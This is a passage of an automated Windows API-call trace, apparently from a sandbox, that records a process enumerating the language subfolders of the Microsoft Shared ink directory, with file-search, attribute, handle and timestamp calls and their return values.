ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.883] GetLastError () returned 0x12 [0143.883] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.883] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.883] GetLastError () returned 0x12 [0143.883] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.883] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.883] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.883] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0143.884] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0143.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.976] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.976] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.976] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.976] NtClose (Handle=0x1a4) returned 0x0 [0143.976] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.976] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.977] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.977] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.977] GetLastError () returned 0x12 [0143.977] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.978] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.978] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.978] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.978] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.978] GetLastError () returned 0x12 [0143.978] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.978] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.978] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.978] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.978] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0143.978] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0143.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.979] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.980] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.980] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995e38) returned 1 [0143.980] NtClose (Handle=0x198) returned 0x0 [0143.980] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.980] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.981] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.981] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.981] GetLastError () returned 0x12 [0143.981] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.981] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.981] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.981] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.981] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.981] GetLastError () returned 0x12 [0143.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.981] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.982] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0143.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.983] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.983] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.983] NtClose (Handle=0x1a4) returned 0x0 [0143.983] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.983] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.985] GetLastError () returned 0x12 [0143.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.985] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.985] GetLastError () returned 0x12 [0143.985] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.985] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0143.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.987] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.987] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.987] NtClose (Handle=0x198) returned 0x0 [0143.987] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.987] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, 